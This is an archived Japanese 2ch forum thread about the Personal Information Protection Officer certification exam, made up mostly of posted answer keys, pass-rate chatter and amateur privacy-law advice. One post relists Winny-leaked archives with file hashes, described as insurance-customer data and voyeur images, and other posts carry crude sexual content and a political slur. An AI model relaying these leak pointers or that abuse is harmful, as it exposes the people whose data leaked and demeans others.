個人情報保護士　試験受けた人の集まるスレ

1 ：2005/10/02 〜 最終レス ：2013/09/18

今日執り行われたわけだが、
逝った人いますか？
答えあわせしませう。
ちなみに漏れ、エアコン直撃で
お漏らししそうになったよ。（ＴＴ）

2 ：

ﾜﾛﾀ

3 ：

私、受けましたよぉ〜。総論が自信ないです＞＜

4 ：

うちも東京で受けました。
１００問　１２０分
１問７２秒
悩んだら終わりです。
何とか最後まで到達しました。

5 ：

コピペだす
�T個人情報保護の総論
１、エ　２、エ　　３、イ　　４、イ　５、イ　６、エ　７、ウ　８、ウ　９、ア　１０、エ　１１、ウ　１２、ア　１３、イ　１４、エ　１５、イ　
１６、エ　１７、ウ　１８、エ　１９、ア　２０、ウ　２１、ウ　２２、エ　２３、ア　２４、ア　２５、エ　２６、イ　２７、エ　２８、エ　２９、エ　
３０、イ　３１、エ　３２、イ　３３、ウ　３４、ア　３５、ア　３６、ア　３７、イ　３８、ウ　３９、ウ　４０、ア

�U個人情報保護の対策
ﾘｽｸ分析
41ｲ 42ｱ 43ｳ 44ｴ 45ｳ 46ｳ 47ｳ 48ｱ 49ｲ 50ｱ 51ｱ 52ｳ 53ｳ 54ｳ 55ｱ 56ｲ
組織的・人的ｾｷｭﾘﾃｨ
57ｳ 58ｳ 59ｱ 60ｱ 61ｱ 62ｴ 63ｳ 64ｲ 65ｴ 66ｴ 67ｴ 68ｴ 69ｳ 70ｴ 71イ 72ｱ
ｵﾌｨｽｾｷｭﾘﾃｨ
73ｱ 74ｱ 75ｱ 76ｳ 77ｲ 78ｳ 79ｳ 80ｱ 81ｱ 82ｱ 83ｲ 84ｴ 85ｲ
情報ｼｽﾃﾑｾｷｭﾘﾃｨ
86ｴ 87ｱ 88ｱ 89ｴ 90ｱ 91ｴ 92ｲ 93ｲ 94イ 95ｳ 96ア 97ｲ 98ｲ 99ｲ 100ｲ

6 ：

>>5
ありが�d
受験者２８００人
こんなものなのか･･･orz
また、１２月１８日に第２回があるね
年１回かとおもたよ。

7 ：

コピペはどこから入手ですか？＞５

8 ：

>>7
資格全般に立っていましたよ。
どうやら、個人の見解のようです。
http://school5.2ch.net/test/read.cgi/lic/1124691217
主催者からの、解答情報開示はないのかな？

9 ：

age

10 ：

139 ：名無し検定１級さん ：2005/10/10(月) 17:46:39
>>137
当日配布された「受験上の注意事項」には11日正午以降にHP上で問題・解答を
公開予定とのこと。よく嫁。

11 ：

受験していませんが、冊子のような受験手引き書が送られてきました。
破棄しました。
こちらからは何のアクションを起こしていませんが、送られてきました。

12 ：

age

13 ：

昨日、個人情報保護法検定を受験しました。
以下私のマークした解答です。
問題1〜10：アエエイウイウウアイ
問題11〜20：エアアウアウエウエア
問題21〜30：イウイウアエエアエウ
問題31〜40：ウウアウイウエエエイ
問題41〜50：ウウアエイウアアイウ

14 ：

>>13
合格しました。

15 ：

age

16 ：

　　　| 　
　　　|∀・)　ﾀﾞﾚﾓｲﾅｲ･･ﾇﾙﾎﾟｽﾙﾅﾗ ｲﾏﾉｳﾁ
　　　|⊂
　　　|
　　　　　♪　　
　　　♪　　　　　　
　　　　　　ヽ(・∀・ )ﾉ 　　ﾇ-ﾙﾎﾟｰ ﾇ-ﾙﾎﾟｰ♪
　　 　 　　　 (　 へ) 　　　
　 　 　 　 　　く 　　　　　　
　　　♪　　　　
　　　　　♪　　　
　　　　　　ヽ（ ・∀・）ﾉ　　ﾇ-ﾙﾎﾟｰ ﾇ-ﾙﾎﾟｰ♪
　　 　 　　　 (へ　 ) 　　　
　 　 　 　 　　　　 >

17 ：

昨日、受験票届きました。
大阪（なんば）

18 ：

本日、受験してきました。
私は以下のようにマークしました。（一部免除者）
問題41〜50：　ウアイイエイアイアエ
問題51〜60：　イアウエイエアエウア
問題61〜70：　エアイエイウアイアイ
問題71〜80：　エウエウアウウウエエ
問題81〜90：　アエウウエアウアエエ
問題91〜100： ウアウエアエウイアウ

19 ：

3/19の試験で、だれか免除者じゃない人いますか？
答え合わせしよ〜

20 ：

課題�T
問　１ イ　問　２ イ　問　３ ア　問　４ エ　問　５ ウ
問　６ イ　問　７ エ　問　８ ウ　問　９ イ　問１０ ウ
問１１ ア　問１２ エ　問１３ エ　問１４ ウ　問１５ ア
問１６ イ　問１７ ア　問１８ ウ　問１９ ア　問２０ イ
問２１ エ　問２２ ア　問２３ イ　問２４ エ　問２５ ア
問２６ ウ　問２７ ウ　問２８ エ　問２９ ア　問３０ エ
問３１ エ　問３２ イ　問３３ ア　問３４ エ　問３５ エ
問３６ イ　問３７ ウ　問３８ エ　問３９ エ　問４０ ア
課題�U
問４１ ウ　問４２ ウ　問４３ イ　問４４ エ　問４５ エ
問４６ エ　問４７ ウ　問４８ イ　問４９ ア　問５０ エ
問５１ イ　問５２ ア　問５３ ウ　問５４ イ　問５５ イ
問５６ エ　問５７ ア　問５８ ウ　問５９ イ　問６０ ア
問６１ エ　問６２ ア　問６３ イ　問６４ エ　問６５ イ
問６６ イ　問６７ ア　問６８ イ　問６９ ウ　問７０ イ
問７１ エ　問７２ ウ　問７３ イ　問７４ ウ　問７５ ア
問７６ イ　問７７ イ　問７８ イ　問７９ エ　問８０ エ
問８１ ア　問８２ エ　問８３ エ　問８４ ウ　問８５ エ
問８６ ア　問８７ ア　問８８ ア　問８９ エ　問９０ エ
問９１ ウ　問９２ ア　問９３ ウ　問９４ エ　問９５ ア
問９６ エ　問９７ ウ　問９８ イ　問９９ ア　問 100 ウ

21 ：

模範解答を作った方、コメントを書いた方お疲れ様でした。
参照させて貰ったので、自己採点結果の報告でも。。。
結果は92.5%、93.3%で合格というものでした。
粗忽者でマークミスの可能性がありますので、油断は出来ませんが何とかなりそうです。

22 ：

自分の答案内容です。合格してるでしょうか？
問４１ ウ　問４２ イ　問４３ イ　問４４ エ　問４５ ウ
問４６ ア　問４７ ウ　問４８ イ　問４９ ア　問５０ エ
問５１ ウ　問５２ ア　問５３ ウ　問５４ ウ　問５５ イ
問５６ エ　問５７ ウ　問５８ ウ　問５９ ウ　問６０ ア
問６１ エ　問６２ ア　問６３ イ　問６４ エ　問６５ イ
問６６ ウ　問６７ ア　問６８ イ　問６９ ウ　問７０ エ
問７１ エ　問７２ ウ　問７３ イ　問７４ ウ　問７５ ア
問７６ イ　問７７ イ　問７８ イ　問７９ エ　問８０ エ
問８１ ア　問８２ エ　問８３ エ　問８４ ウ　問８５ エ
問８６ ア　問８７ エ　問８８ ア　問８９ エ　問９０ エ
問９１ ウ　問９２ ア　問９３ ウ　問９４ エ　問９５ ア
問９６ エ　問９７ ウ　問９８ イ　問９９ ア　問 100 ウ

23 ：

皆さんに質問があります。
スレ違いだったら申し訳ないですが困ってまして・・・。
現在、いくつかのオンラインゲームをクレジット課金しています。
ところがそのクレジット番号が流出しているみたいなのです。
（たまに不明金が発生している為）
はっきりとは解らないし、もしかしたら何かの登録で発生しているのかもと思い
まずはオンラインゲームに登録してあるクレジットカードの番号を削除もしくは支払方法の変更願を出しました。
ところが、１社だけそれに応じてくれません。
最初、サービスセンターがもう終了時刻だったのでメールでその旨を伝えました。
（ＰＣ上からは変更できない仕様なので）
そしたらそんな大事なメールにもかかわらず、返ってきたのは自動返信のテンプレメール。
Ｑ＆Ａみたいなので返ってきました。当然、その中に解決策などありません。
明らかに社員はメールに目を通してません。
そこで日が変わり直接電話したら担当に聞いてみないと、の一点張り。
後出かけなおします、で夕方にかかってきたら返事は明日以降との事。
こういう場合、クレジット番号の削除や変更はやはり容易ではないのでしょうか？
どなたか個人情報に詳しい方、お願いします・・・。

24 ：

マジレスしておきます。本来、会社の申し込み規約（オンラインゲームを申し込む際に、同一画面上にあるはずの「事前に必ず呼んでください」などと書かれた
部分）を読まないとわかりません。しかし、個人情報保護法第15〜16、25条などを読むと参考になると思います。ちなみに、条文はググったらすぐ見つかります。

25 ：

ここに投稿された解答を参考に自己採点しましたが、
15問不正解みたいです。
奇跡が起きればいいのですが･･･。

26 ：

>>23
対応がひどいようなら、消費者センターみたいなところに相談するのもあり
かもしれない。
そもそも、本当に、情報が流失しているのであれば、警察けの届け出も
必要かと。本当に流失しているとしたら、情報は、回収できないから、
クレジットカード番号変えない限り、請求が発生するよ。
カード会社にも連絡しないといけない気もしますが。
リスクも考えてカード使いましょ、

27 ：

ここに投稿された解答を参考に自己採点しましたが、15問不正解みたいです。
奇跡が起きればいいのですが･･･。

28 ：

個人情報保護士をとると
何のメリットがあるんですか？

29 ：

ほぼ自己満足にすぎない(一応資格取ったけど)

30 ：

好きな人に「漏れは個人情報保護士でつﾃﾍﾃﾍ」言うことが可能

31 ：

おれは、ある士業開業者だけど、この資格けっこう役立つよ。
どういうふうに儲かるかはおしえれないけど。

32 ：

ロゴシールの販売始めたね。。
http://www.joho-gakushu.or.jp/piip/piip.html

33 ：

この資格を取っても実務には全く役に立たないけど、
依頼者に対する信用を得るために受験した。
ただ今回合格しているかどうかは非常に微妙。

34 ：

こんな資格あったのかorz
勉強しときゃよかった・・・・・・・・

35 ：

>>14
先週（土）、合格証書・認定カード届きました。

36 ：

うかった〜

37 ：

合格しました^^

38 ：

不合格･･･。

39 ：

この資格、大したもんじゃないと思うけど履歴書なんかに書くと結構
映えるよね。お買い得なだ。

40 ：

>>39
そうなだ

41 ：

全日本情報学習振興協会のトップページのソースを見ていたら
＜!-- 美乳 --＞
って書いてありました。
何故でしょうかね？

42 ：

>>41
エロあるところに個人情報あり

43 ：

>>41
「美乳」で文字化けが直るって本当？
ttp://www.shtml.jp/mojibake/binew.html

44 ：

PiiPのシールを名刺に貼ってみた。
初対面の人との話題づくりには役立つね。

45 ：

だんだん合格率が落ちてる。(と言っても48％だけど)

46 ：

この試験って何時開始ですか？

47 ：

説明時間10時から試験甲斐氏10時15分から 合格律は今後落ちること望む

48 ：

来月の試験申し込んだけど
写真っていらないの？
hp見たけどわからんかった。
写真がいらないなら、替え玉受験し放題？

49 ：

>>48
勝手にコピペするな

50 ：

この試験と社会保険労務士試験とドッチが難しいですか？

51 ：

俺３月にこの資格取って転職活動中だけど、
結構この資格興味持ってもらえるよ
「これどんな資格ですか？」って
ただ、合格後の協会のDMはうざい

52 ：

フルタイム＋αで働きながらの六日日間で受検する羽目になりました。
テキストはどれがおすすめですか？
攻略法などアドバイスお願いしますm(_ _)m

53 ：

DMはすぐ来なくなつた。勉強法としては、過去問を解いていくのみ。参考書は協会のHPの1・2冊程度で十分。セミナーいらない。コンサルタント必要ない。必要なら個人情報保護士で過去ログ探せば情報盛りだくさん。

54 ：

今日、代々木ゼミナールで対策ゼミ参加した人、感想教えて！

55 ：

対策ゼミに参加したがただ資料を読んでいるいるだけであまり意味が無さそうで受けなくても良かったかな

56 ：

あの、試験とは関係ない質問なんですが教えてください。
通販などで、友人に頼まれて代理で注文することは可能ですか？

57 ：

保全

58 ：

いよいよだな

59 ：

http://school5.2ch.net/test/read.cgi/lic/1142777845/589

60 ：

「このような文章は禁止なので貴方のプロフィールから該当文章を削除しました。」
っていきなりＭＩＸＩからメールきた。。。
絶対に自分では書いてないプロフィールの文でした。
これって何？誰かが改ざん出来るって事なのかなぁ？
管理に要回答メールを出し続けても回答無し。失礼だよねぇ〜。
こういう個人情報系の相談窓口って知ってる人居ます？
消費者センターみたいなところ。

61 ：

mixiってなんで頭わるそーな奴ばっかりやってんの

62 ：

>>60
政府の個人情報保護推進室

63 ：

試験受けてきたんですけど、解答速報とかってでないんですかね。

64 ：

○2ch的模範解答
課題１
01ア　02エ　03イ　04エ　05エ　06ア　07ア　08イ　09ウ 10エ
11ウ　12ウ　13イ　14ア　15イ　16エ　17イ　18ア　19エ　20エ
21イ　22ウ　23ウ　24エ　25イ　26ア　27イ　28エ　29ア　30イ
31ア　32イ　33イ　34ウ　35ア　36エ　37イ　38ウ　39ア　40イ
課題２
41エ　42エ　43ウ　44ア　45エ　46ア　47エ　48エ　49ア 50ウ
51イ　52エ　53ア　54ア　55ウ　56ウ　57エ　58ア　59イ　60ウ
61エ　62エ　63ア　64エ　65ア　66ア　67エ　68ア　69ウ 70ア
71ウ　72エ　73ウ　74エ　75ア　76ア　77エ　78イ　79イ　80エ
81エ　82エ　83イ　84エ 85イ　86エ　87エ　88ウ　89イ　90ウ
91ウ　92イ　93ウ　94イ　95エ　96ア　97ウ　98エ　99イ 100ウ

65 ：

○実施機関公式解答
課題�T
01ア　02エ　03イ　04エ　05エ　06ア　07ア　08イ　09ウ　10エ
11ウ　12ウ　13イ　14ア　15イ　16エ　17イ　18ア　19エ　20エ
21イ　22ウ　23ウ　24エ　25イ　26ア　27イ　28エ　29ア　30イ
31ア　32イ　33イ　34ウ　35ア　36エ　37イ　38ウ　39ア　40イ
課題�U
41エ　42エ　43ウ　44ア　45エ　46ア　47エ　48エ　49ア　50ウ
51イ　52エ　53ア　54ア　55ウ　56ウ　57エ　58ア　59イ　60ウ
61エ　62エ　63ア　64エ　65ア　66ア　67エ　68ア　69ウ　70ア
71ウ　72エ　73ウ　74エ　75ア　76ア　77エ　78イ　79イ　80エ
81エ　82エ　83イ　84アorエ　85エ　86エ　87エ　88ウ　89イ　90ウ
91ウ　92イ　93ウ　94イ　95エ　96ア　97ウ　98エ　99イ 100ウ

66 ：

今回の合格率は？

67 ：

43�l

68 ：

下がったな。このまま下がり続けてくれ…

69 ：

【就職】「中韓などアジアの優秀な人材を、もっと日本企業に」　留学生2000人に無償奨学金月20〜30万円…経産省・文科省[08/20]★７
1 ：試されるだいちっちφ ★ ：2006/08/21(月) 00:42:25 ID:???0
★アジア留学生に奨学金、日本で就職促す　２千人に国支給
　中国、韓国などアジア諸外国の優秀な人材に、日本企業にもっと入ってもらおうと、
日本の大学で学ぶ留学生への無償奨学金制度を０７年度から経済産業・文部科学
両省が始める。大学・大学院に、採用意欲のある企業と提携して、留学生向けの専門
講座やビジネス日本語講座などの２年間の特別コースを新設してもらい、その受講生
１人あたり、住居費分、学費免除分、生活費など月計２０万〜３０万円相当の支給を
検討中だ。支援対象は約２０００人を想定している。
　特別コースは企業の中核を担える人材の育成が目標で、電機・ＩＴ業界、環境関連
産業など特定分野の企業群と提携し、それらのニーズにあった専門性の高い授業を
想定。また、留学生の日本企業就職率が伸びない理由となっている、日本語の力不足
や企業風土の特徴をあまり知らないことなどを解消するため、特別コースには実用性
の高い日本語会話の授業や日本の企業文化などを教える授業のほか、インターンシップ
制度も盛り込んでもらう。両省が授業内容を審査し、奨学金制度を適用するかどうか
決める。
　両省は関連予算として０７年度予算の概算要求に約６０億円を盛り込む方針。この中
には、同じ目的で、既存の国費留学制度を使っている留学生らが無料参加できる就職
支援プログラムも加わる。
　経産省によると、０４年度は約３万人の留学生が日本の大学・大学院を出たが、日本
国内で就職した留学生は約５７００人にとどまった。留学生支援策の拡充で、アジアの
優秀な人材の定着を増やそうとしている。
http://news19.2ch.net/test/read.cgi/newsplus/1156122310/l50
経済産業大臣
　二階 俊博（★和歌山県第３区選出★）（江沢民の石碑、ガス田開発問題等、親中の売国奴）
http://news19.2ch.net/test/read.cgi/newsplus/1156122310/479
今回も、この政策の強力な推進者、売国奴の二階俊博

70 ：

合格率は下がらん
下がると民間資格だから、それほどメリットもなく、受験生が減るｗ

71 ：

スレ違いですいませんが
今度個人情報保護法検定を受けるのですが
この試験だけののテキストを探しても無いので
保護士のテキストでもいいんですかね？
教えて下さい。

72 ：

>>71
公式ＨＰで買えるだろ

73 ：

えらい詐欺商法だなこれ。
天下り連中は楽して金儲けする事しか考えてないな。

74 ：

アゲ

75 ：

文科省の”お墨付き”か。
典型的なキャリアの天下り先確保型公益法人だな。
文科大臣許可法人つったって財団法人である以上は、明治の世に制定されたカビの生えた
民法に則って役人が設立許可出してるわけだ。

76 ：

age

77 ：

AGE

78 ：

受かってた(ﾟ∀ﾟ)

79 ：

【AIU保険】顧客情報・盗撮・ハメドリ・流出２【ｱﾙﾋﾞ新潟】
http://news23.2ch.net/test/read.cgi/news/1184326582/
1 名前：つこうた[sage] 投稿日：2007/07/13(金) 20:36:22 ID:9Yj9hG9O0●
写真集][IV] kawasaki(20070703-205526)のアルバム.zip iKdrBM3oyG 972,386,099 8e70312aa278549f6aa02986b0f0c939
[写真集][IV] kawasaki(20070703-205526)のアルバム.zip 972,386,099 51bdb228aa09e23c0f073318ce1f830124800e1f
　盗撮・女医・人妻・カエル・ウンコ・マントヒヒ
[殺人] kawasaki(20070703-205526)のキンタマ.zip iKdrBM3oyG 2,801,995 6134cb4224a1c4a80225dc342f0758ee
[殺人] kawasaki(20070703-205526)のキンタマ.zip 2,801,995 8a301e650574861299762efd6f787421d0780754
　AIU生命顧客情報イパーイ
ttp://megalodon.jp/?url=http://www.vipper.net/vip273891.jpg&date=20070712181504
前スレ
【羽目鳥】 ｱﾙﾋﾞｻﾎﾟ美人女医がつこうた ★001 【不倫】
http://news23.2ch.net/test/read.cgi/news/1184229687/
関連スレ
【winny】ｱﾙﾋﾞﾚｯｸｽｻﾎﾟ、羽目鳥流出【つこうた】
http://ex20.2ch.net/test/read.cgi/soccer/1183973391/

80 ：

合格微妙･･････（免除有）

81 ：

こんな天下り用に作られた糞資格受けてる奴いるんだなｗ

82 ：

明日、受けて来ます。
糞資格かもしれませんが、業務上必要（？）との事で…
糞資格に落ちるのもシャクなので、只今勉強中です。
…こんな人、多いんじゃない？

83 ：

個人情報保護士を受けた方は資格全般へどうぞ。
【検定より】個人情報保護士 Part5 【保護士】
http://school7.2ch.net/test/read.cgi/lic/1197721888/l50

84 ：

受かった！！！

85 ：

これって国家資格じゃなくって民間資格だよね？
どこの役所の天下り先作るための試験ですか？

86 ：

>>84
おめでとー

87 ：

合格証書とカードがお金に見合っているかどうか・・

88 ：

　個人情報保護法に違反しているかどうか教えて頂きたいの事があります。
　同じ職場で、今回合格者された方がいるのですが、その方のブログの、過去の日記を読んでみると、無断で職場の同僚の顔写真を掲載していました。（私の写真も含む）
　非常に不愉快なのですが、個人情報保護法に違反しているのではないでしょうか？　
　参考までに教えて頂ければ幸いですｍ（＿ ＿）ｍ
　http://blog.livedoor.jp/aquarius320/　
　２００７年８月１８日の日記の写真です。　
　ちなみに、合格したという喜びの日記は、２００８年１月１６日みたいです（怒）

89 ：

>>88
個人を特定できる情報（今回は写真）を
無断でネットに掲載することは違反になりますが
そもそもその方は個人情報取扱事業者では無いと思いますので
個人情報保護法違反にはなりません。
ただ、画像を掲載されたことにより貴方に損害が発生した場合
（そのほかの条件ありますが）不法行為を理由に損害賠償を請求できます。

が、まぁ、どうにもできないのが実情です。
消すように催促するのが一番じゃないでしょうか？

90 ：

>>89
　御回答ありがとうございましたｍ（＿ ＿）ｍ
　先ほど、私を含む問題の写真が削除されているのを確認できました。
　これで安心して眠れます。
　ただ、削除と引き換えに痛烈な批判の日記が更新されていました…（汗）
　
　
　
　
　

91 ：

うわなんだこのキモイ資格ｗ

92 ：

>>88
というか、写真なんてないんですが・・・。

93 ：

あっ、食い違いでしたね。
わかりました。

94 ：

肖像権の侵害じゃないか
人格権の所に
「被写体としての権利でその被写体自身、もしくは所有者の許可なく撮影、描写、公開されない権利。」
とある
http://ja.wikipedia.org/wiki/%E8%82%96%E5%83%8F%E6%A8%A9
個人情報保護法とはまた別だろ

95 ：

肖像権の侵害のための法律は無く
民法の不法行為で損害を回収するくらいしかないから
実際に損害発生して無いと無理じゃない？
恥ずかしくて精神的にやられた　とか。

96 ：

法律が明文化されてなくても慣習法としてあるなら有効だろ
人格権は基本的人権に含まれるみたいだしそれ自体が根拠になる
不法行為に基づくというのは消極的過ぎる
許可無く写真掲載をさせない権利は確実に存在する
私人間でもね

97 ：

230 名前：名無し検定１級さん ：2008/02/27(水) 05:14:44
キチガイ君ご用達DION
N007092.ppp.dion.ne.jp
http://school7.2ch.net/test/read.cgi/lic/1203657982/230
↑みたいなアダルトに情報盗まれ会社にもアクセスできず。
これでは仕事できないし、新規とっても新規契約者情報を
会社に不正アクセスして情報を入手し契約者を金品要求されたり
脅されたり客に迷惑かけるかもしれない。廃業だ
>>230のipアドわかったら教えてけろ
もう通報しても意味ないし

98 ：

そういえば、不法行為には権利の侵害もあった。よね？
てことは、必ずしも金銭の損害は必要ないってことかな
という事は、肖像権の侵害による不法行為を理由に
損害賠償の請求ができる。（金銭は期待できないけど。）
ただ明文化されていない以上、肖像権を理由に刑罰は問えない
>>96
というか肖像権の侵害で訴えるということは
「肖像権の侵害による不法行為」で訴えるってことじゃないの？
（権利の侵害なんだから必然的に不法行為になるってこと）
こんがらがってきた、てかすれ違いだし終わります。

99 ：

不法行為に基づく損害賠償請求だと損害がある事と立証責任があるだろ
何より訴訟を起こさないといけない
まずそういう権利があるという意識が無いから平気で掲載したり
それを咎めたりする人間がいないのが問題だと言ってるわけだよ
それと、明文化されてなくても判例の中でかなり触れられてるから実際にあるんだよ

100 ：

>>99
明文化されていない判例なんてのがあるわけないだろ。
裁判はすべて文章ベース。

101 ：

>>100
まぁまぁ

102 ：

企業情報保護士認定試験
受験しました。時間ぎりぎりまでかかりました。

103 ：

>>102
お疲れ様です
自分は今回は見送る形となったんですが、難易度はどうでしたか？
協会の模擬問題と同じような感じでしたか？

104 ：

>>103
結構苦戦しました。
模擬問題周辺からも少しですが出ていました。

105 ：

9月試験終了age

106 ：

知りたい人の個人情報を調査します。
http://norou.jp/chosa/

107 ：

↑これは詐欺
業者は死んでくれ

108 ：

試験を受けた人が全く集まっていない件w

109 ：

個人情報保護士スレッドがここしか無い件？

110 ：

いよいよ本日合格発表ですね、ﾄﾞｷﾄﾞｷ！
>>987
前ｽﾚは1000直前に落ちました
個人情報保護士認定試験
http://namidame.2ch.net/test/read.cgi/lic/1213408267/

111 ：

ﾚｽ番間違えましたm(＿＿)m

112 ：

合格しました！！

113 ：

プライバシーマークの新規取得の伸びは鈍ってきているが、
まだまだ優秀なコンサルには活躍の場があると思います。
取得者の方、頑張ってください。

114 ：

この試験の参考書のおすすめはどれでしょうか？

115 ：

やっと合格証届いた。
協会仕事遅杉。

116 ：

ここは見ないほうがいい
国家機密情報だよ
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1229268592

117 ：

スレのあまりのさびれようにﾜﾛﾀ

118 ：

会社で受けさせられるので来てみたら余りの寂れように・・・。

119 ：

さて、明日だ。

120 ：

8割も正解する自信がない…

121 ：

いま模擬テストやったら50問中43問正解した。
大丈夫かな？
半分くらい常識で判断できたような気がするが。

122 ：

過去問題47/50。
もう大丈夫だな。寝よ。

123 ：

第３，９，１０，１１，１２，１３回３〜４周は回した。
１０回は１回目は総論が落第点だったが
今はもう大丈夫。大丈夫だ。大丈夫なんだ。
なくなった試験だがＳＵとＳＶもってるんだから大丈夫だ。
と自分に言い聞かせる…

124 ：

模擬回答まだ？

125 ：

解答速報はどっかから出るの？
何となく受けてみたけどすごいマイナーな試験だったんだね。

126 ：

個人情報保護法受けた。
スレがないのでこちらで失礼。
採点たのむ。
エアイイア イアウアエ
ウエイアア アイイアア
アイウエエ エウウアイ
イウエアア アアエエア
アアイアエ アアウイイ
9割はとれた自信はある。

127 ：

誰かレスしてやれよｗ

128 ：

答案
エアイイア イアウアエ　9
ウエイアア アイイアア　8
アイウエエ エウウアイ　10
イウエアア アアエエア　10
アアイアエ アアウイイ　10　47　94%
某所の模範解答
エイイイア　イアウアエ
ウエイアア　アイウエア
アイウエエ　エウウアイ
イウエアア　アアエエア
アアイアエ　アアウイイ

129 ：

質問なんですが、、、
不当請求とかで
相手に携帯の電話番号を知られてしまったのですが
自分の携帯番号だけで、住所とか氏名とかって割り出せるのですか？
毎晩毎晩、気になって眠れません；

130 ：

>>129
おおよその地域は分かるがそれ以上は無理。
電話会社の関係者なら別だけどね。

131 ：

いよいよ結果発表だなー

132 ：

湿性鼻クソとスライムの違いについて描写して下さい。
ザー汁のスメル(匂い)についても格調高く描写して下さい。
受験者年齢層や男女比について自由に語って下さい。 カワィイ娘は多いですか？服装についても例示してみて下さい。
　　　　　　　　　　　　　　　　　　　　　　 　　　　　 .,/　 _,／　　　　　 .､、　　　　 ...､ヽ,,-、
　　　　　　　　 　　　　　　　　 　　　　　　　　　.,,ﾒ-‐'"　　　　　　 _"',|　　.､､._,ｉ.""│._、
　　　　　　　　　　　　　　　　　　　　　　._,,,／｀,イ―''　　　　　 ,｀",lﾞ､､,,ジ'"｀.`｀`.|ﾞ゛
　　　　　　　　　　　　　　　　　　　 .,,,-,i´,―--―''"　　　　　 ､､,!冖'"｀､_､,,,/'ﾟ,,."ﾞl-‐''
　　　 　　 _,,,,,,,,,,,,,、　　　　_,,,,,--''"｀'",/ﾞ　 　 　 　 　 　 、､.',j/′.､,,∠''"｀ .'_ヽ.',ﾞl.._,,、
　　　 ,,-'"ﾞ｀　　　 ｀ﾞﾞ''lｰｲ"｀　　　　 .‐′　　　 _,．.,,／ .ヽ､,i,i´ ｀｀ﾞ’　　 、、シ":"'.「
　　.,,i´　　　　　　　　 ｀'i､＼ ﾞ!，　　　　　 ._,-'"ン'｀ ､､｀_,/`,i´　_,__＿,ﾆ＝'" .'ﾞ、ﾞ".ﾞl,,-'｀
　.,/′　　　　　　　　　　｀'i,＼ ′　　.,,,,-',,,,、.,i´､_:_'_ｖ`"ﾞi､|　　 ｀｀｀｀ ｀　 、_,Ｊィ""ﾞl, _,,,,、
: ,i´　　　　　　　　　　　　　ﾞl. ヽ丶　 .r‐'"､.lﾞ､､:,p=l┴丶 .!,,!　 ｀'"''''''冖''?'''ﾞ~."""'."'/゛　｀
: |,,r　　　　　　　 　 　 　 　 ﾞl, 、　i､､､､:,,_,ｘl!ヴi,、　　　　　 ､､っ,,,,　　　 ､｀',,,,､｀､｀､|、
　 |、　　　　　　　　　　　　､"| .i､ lrr-''"ﾞ,,ﾊ；､-'"ﾞﾞ'''''''"丶ヽ.,,冫｀｀~`"`"~"`｀｀ ｀／ `''''
　 ｀''r,,、 ､　、、 .、丶、.｀｀ヽ,レ"°　　｀｀ .jﾟ'=∠､`｀`｀,,,,,∠　~'ヽ｀｀｀｀｀｀｀､_,r‐'ﾍi､
　　　 ｀ﾞ'ｰi,,_、、、、、: :._,,,r〃　　　　　　　"　　/^ﾟ"'广　 ,/　　.,/ﾞﾞﾞ'''ヶ―''''″
毎日悶々だろ？デンケン組は悶々率高すぎ。なぜこうもまた率が高いことが明らかなのかと思ってしまう。
ただでさえ職場はムサ男＆クズ男＆＆つるんでしか行動できない吹き溜まりばかりなのに。 俺は元工場勤務で現在女の多い職場だ。

133 ：

試験申し込んだよー
一万円って高い検定だなぁ

134 ：

第17回受けた
エロイお人、回答速報ヨロ

135 ：

第17回　模範ではない
ウエウウエ イエエエイ
ウアイエウ アアエウウ
イアイウア ウイイアイ
エイイアア アイエアエ
ウウウエイ アイエエア
エウアアウ エアアウウ
アエイウイ ウエイアイ
アイウエエ エイウエア
イエイイウ エウウアウ
ウアエアイ ウウイウエ

136 ：

>>135サンクス!
私の解答
ウエウウエイエエエイ
ウアイエウアエエウウ
イアイウアウイイアウ
エイエアアアイエアイ
ウウウエイアイエエア
エウアアウエアアウウ
アウイウウウエイアイ
アイウウエエイウエウ
イエイイウエウウアウ
アアエアイウウイウエ
�T総論 90.0%
�U対策 91.7%
めでたく合格のようです。ありがたや:-)

137 ：

>>135 いくつか違うと思うところがある
65；ウ
80；ア
91；ア
（つまり3つとも >>136 と同じ）
他にもあるかも知れない

138 ：

>>135 もう一つ
17；エ
（これも >>136 と同じ）

139 ：

>>137
80；ウ　だよね？

140 ：

そうだわ ｽﾏﾝ

141 ：

誘導
個人情報保護士試験20091206
ttp://namidame.2ch.net/test/read.cgi/lic/1260087022/

142 ：

136です。
みなさんの御蔭でさらに点が増えました。
ありがたや、ありたがや

143 ：

2010年3月14日(日）　第18回　個人情報保護士試験の
回答って、ネットのどこかにないですか？
受験したので答え合わせしたいので。

144 ：

http://namidame.2ch.net/test/read.cgi/lic/1264348764/201-300
今、有志が集まって回答をまとめてますよ

145 ：

しかし、合格発表まで１カ月、合格証送付まで、さらに１カ月って、
トロい仕事してますな、主宰者。
ところで、合格すると、あのマークを、名刺に印刷したり出来るんですか？

146 ：

総務省は個人の位置情報（位置登録情報と呼ばれていたものを含む）に関して、
「位置情報は通信の秘密に該当しないと解する場合であってもあるひとがどこ
に所在するかということはプライバシーの中でも特に保護の必要性が高い上に
通信とも密接に関係する事柄であるから、通信の秘密に準じて強く保護すること
が必要である。」ということを『電気通信事業における個人情報保護に関する
ガイドライン』の２６条に記載しています。（下記参照）　
http://www.soumu.go.jp/main_sosiki/joho_tsusin/d_syohi/pdf/051018_2.pdf
（以下引用）
「（位置情報）第２６条 電気通信事業者は、利用者の同意がある場合、裁判官の
発付した令状に従う場合その他の違法性阻却事由がある場合を除いては、位置情報
（移動体端末を所持する者の位置を示す情報であって、発信者情報でないものをいう。
以下同じ。）を他人に提供しないものとする。」（以上引用）
したがって、個人の位置情報を一方的に入手し、個人を追跡するという事は禁じられているのです。
参考：『集団ストーカー現象と個人情報の入手可能性の関連性 』
http://infowave.at.webry.info/200911/article_1.html

147 ：

　『個人情報保護法に関する疑問と回答』（下記参照してください）
http://www5.cao.go.jp/seikatsu/kojin/gimon-kaitou.html#1_1　
(HPが消費者庁管理になったようです。URLがちがっています。下記を参照してくだい。
http://www.caa.go.jp/seikatsu/kojin/gimon-kaitou.html#1_3
上記Ｑ１−３には「個人情報保護とはどういうことですか。プライバシー保護とは違うのですか。」
という質問がのっています。その回答の一部に「個人情報保護法は、個人情報取扱事業者が個人情報
の適正な取扱いのルールを遵守することにより、プライバシーを含む個人の権利利益の侵害を未然に
防止することを狙いとしています。」という内容があることを確認できます。 つまり、内閣府では
プライバシーを含む個人の権利利益の侵害を未然に防止することを目的にして、 とくに個人特定に
関わる情報を個人情報として守るべきでであるということを明示しているということです。
